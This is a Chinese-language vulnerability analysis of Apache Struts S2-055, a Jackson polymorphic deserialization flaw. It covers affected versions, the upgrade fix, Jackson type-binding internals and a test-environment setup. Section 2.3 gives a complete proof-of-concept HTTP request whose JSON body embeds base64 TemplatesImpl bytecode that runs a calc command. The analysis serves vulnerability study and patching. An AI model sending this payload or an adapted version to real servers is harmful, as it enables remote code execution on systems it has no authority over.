1 综述
相关链接如下:
https://cwiki.apache.org/confluence/display/WW/S2-055
影响版本:
Struts 2.5 – Struts 2.5.14
规避方案
立即升级到Struts 2.5.14.1或者升级com.fasterxml.jackson到2.9.2版本
2 技术分析
2.1 Jackson多态类型绑定
第一种:全局Default Typing机制,启用代码如下:
objectMapper.enableDefaultTyping(); // defautousingDefaultTyping.OBJECT_AND_NON_CONCRETE objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
public ObjectMapper enableDefaultTyping(DefaultTyping dti) { return enableDefaultTyping(dti, JsonTypeInfo.As.WRAPPER_ARRAY); }
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY) class Animal { } 在超类Animal上加上一段@JsonTypeInfo,所有Animal的子类反序列化都可以准确的对于子类型。
这段注解什么意思呢?JsonTypeInfo.Id.CLASS是指序列化或者反序列时都是全名称,如org.codehaus.jackson.sample.Animal
,JsonTypeInfo.As.WRAPPER_ARRAY
意为使用数组表示,如
[
"com.fasterxml.beans.EmployeeImpl",
{
... // actual instance data without any metadata properties
}
]
2.2 S2-055 环境搭建
这样Content-Type为application/json格式的请求都交给了JcaksonLibHandler来处理,再来分析下JacksonLibHandler的代码,如下所示:
public void toObject(Reader in, Object target) throws IOException { mapper.configure(SerializationFeature.WRITE_NULL_MAP_VALUES, false); ObjectReader or = mapper.readerForUpdating(target); or.readValue(in); }
上述代码是处理json反序列的逻辑,很显然没有启用全局Default Typing机制,那么为了触发这个漏洞只能是通过第二种支持多态的方式来打开这个特性。这个漏洞和S2-052非常类似,都是引用的第三方库存在缺陷导致的漏洞,这样的案例数不胜数,在Java生态中简直就是一个灾难,第三方依赖实在太多。为了分析这个漏洞,我们还是拿052的环境来做测试,也就是rest-show-case,环境搭建可以参考http[://xxlegend.com/2017/09/06/S2-052%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%AE%98%E6%96%B9%E7%BC%93%E8%A7%A3%E6%8E%AA%E6%96%BD%E6%97%A0%E6%95%88%E9%AA%8C%E8%AF%81/,具体的修改如下:
public class Order { public String id; @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY) public Object clientName; public int amount; public Order() {} public Order(String id, Object clientName, int amount) { super(); this.id = id; this.clientName = clientName; this.amount = amount; } public void setClientName(Object clientName) { this.clientName = clientName; }
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY) public Object clientName;
一个在clientName上方添加注解,打开支持多态的特性,这样我们就能指定clientName的类型;另一个是将clientName的类型改为Object类型,这样就避免了类型不匹配或者不是其子类的错误。相应地修改setClientName方法的传入类型为Object。2.3 PoC构造
Jackson已经暴露了很多种PoC在外,下面我们拿com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl来做示例,具体的PoC如下:
POST /orders HTTP/1.1
Host: 192.168.3.103:8080
Proxy-Connection: keep-alive
Content-Length: 2157
Cache-Control: max-age=0
Origin: http://192.168.3.103:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.3.103:8080/orders/new
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,zh-TW;q=0.6
Cookie: csrftoken=LYokAxo4ABMl0wKhLhkdl1x5I0AQQDE8E3L1zcc3A1YVybHMEHkOWq01VqdnfJEm; JSESSIONID=7367044F7C24B8BE7CDE5444E28E2BF4
{"clientName":["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes":["yv66vgAAADEANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1McGVyc29uL1Rlc3Q7AQAKRXhjZXB0aW9ucwcALAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAF0BwAuAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACAAJBwAvDAAwADEBAARjYWxjDAAyADMBAAtwZXJzb24vVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAsAAAAOAAMAAAAPAAQAEAANABEADAAAAAwAAQAAAA4ADQAOAAAADwAAAAQAAQAQAAEAEQASAAEACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAVAAwAAAAqAAQAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAFQAWAAIAAAABABcAGAADAAEAEQAZAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAaAAwAAAAgAAMAAAABAA0ADgAAAAAAAQATABQAAQAAAAEAGgAbAAIADwAAAAQAAQAcAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAAB0ACAAeAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABACIAAQAjAAAAAgAk"],"transletName":"a.b","outputProperties":{}}]}
首先将ContentType设置为application/json,这样请求才会丢给Jackson处理。这里最核心的部分就是clientName字段了,必须和前面注解部分绑定,也就是这个字段必须有,很显然,这个漏洞不具有通用性,首先得有一个Object类型的字段,其次这个字段还必须用注解JsonTypeInfo修饰。这种情况应该少之又少。下面给个计算器的图吧。